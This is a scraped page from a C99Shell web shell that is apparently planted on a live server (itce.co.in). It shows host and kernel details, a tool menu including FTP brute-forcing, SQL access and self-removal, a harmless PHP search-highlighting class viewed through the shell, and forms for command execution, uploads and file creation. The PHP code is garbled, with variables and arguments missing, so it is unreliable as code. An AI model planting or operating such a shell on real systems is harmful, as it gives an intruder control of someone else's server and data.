!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewCustomField.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ViewCustomField extends ViewControl
{
    public function 
showDBValue(&$data$keylink$html true )
    {
        
$fieldData $data$this->field ];
        if( !
is_null$this->displayField ) )
        {
            
$fieldData $this->displayField;
        }
        
        
$pageType $this->container->pSet->getViewPageType();
        
/*
        if( $this->pageObject )
        {
            if( $this->pageObject->mode == EDIT_INLINE && $this->pageObject->pageType != PAGE_VIEW ) 
            {
                $pageType = PAGE_LIST;
            }
        }
        */
        
        
$result CustomExpression$fieldData$data$this->field$pageType$this->container->tName );
        
        if( 
$this->searchHighlight )
        {        
            
$result $this->highlightSearchWord$resultfalse"" ); 
        }
        
        return 
$result;
    }
    
    public function 
getPdfValue(&$data$keylink "")
    {
        return 
my_json_encode( array(
            
"text" => $this->showDBValue($data$keylink),
            
"isHtml" => true
        
) );
    }

    public function 
getValueHighlighted($value$highlightData
    {        
        
$searchOpt $highlightData['searchOpt'];    
        if(
$searchOpt == 'Equals')
            return 
$this->addHighlightingSpan($value);
        
        
$flags $this->useUTF8 "iu" "i";
        
$prefix = ($searchOpt == 'Starts with') ? "^" "";
        
//ungreedy tag pattern
        
$tagPattern "/(<[^=>]+\s*(?:(?:[^=>]+=\s*'[^']+'\s*)|".'(?:[^=>]+=\s*"[^"]+"\s*)'.")*>)/iU";
        
        foreach(
$highlightData['searchWords'] as $searchWord)
        {            
            
$searchWordParts preg_split($tagPattern$searchWord);    
            
            if(
count($searchWordParts) == 1)
            {
                
$res "";
                
$replaced false;
                
//remove tag fragments
                
$newSearchWord preg_replace("/^.*>|<.*$/U"''$searchWord);
                
$pattern '/'.$prefix.'('.preg_quote($newSearchWord,"/").')/'.$flags;
                
                
//the search word doesn't contain any tags
                
$valueArr $this->getSplitStringWithCapturedDelimiters($tagPattern$value); 
                foreach(
$valueArr as $item)
                {
                    if( !
strlen($item) )
                        continue;
                    
//the tag inside a tag's attribute was matched
                    
if( $item[0] == "<" || $itemstrlen($item) - ] == ">" || $replaced )
                    {
                        
$res.= $item;
                        continue;
                    }
                    
                    if( !
$this->hasHTMLEntities($item) )
                        
$replacedItem preg_replace($pattern$this->addHighlightingSpan('$1'), $item);
                    else
                        
$replacedItem $this->highlightValueWithHTMLEntities($item$pattern);
                        
                    if( 
$searchOpt == 'Starts with' && $item != $replacedItem )
                        
$replaced true;
                    
                    
$res.= $replacedItem;            
                }
                
$value $res;
                continue; 
            }

            
//the search word contains tags    
            
foreach($searchWordParts as $item)
            {
                if( 
trim($item) )
                {
                    if(
$item[0] != '<' && $itemstrlen($item) - ] != '>' )
                    {
                        
//remove tag fragments                        
                        
$newItem preg_replace("/^.*>|<.*$/"''$item);
                        
$itemPattern preg_quote($newItem"/");
                        
$pattern '/(>[^>]*)('.$itemPattern.')([^<]*<)|^([^<>]*)('.$itemPattern.')(<)|(>)('.$itemPattern.')([^<>]*$)/U';
                        
//$patterns = array('/(>[^>]*)('.$itemPattern.')([^<]*<)/U' , '/^([^<>]*)('.$itemPattern.')(<)/', '/(>)('.$itemPattern.')([^<>]*$)/');                                    
                        
$value preg_replace($pattern"$1".$this->addHighlightingSpan("$2")."$3"$value);
                    }
                }
            }
        }
        
        return 
$value;    
    }    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--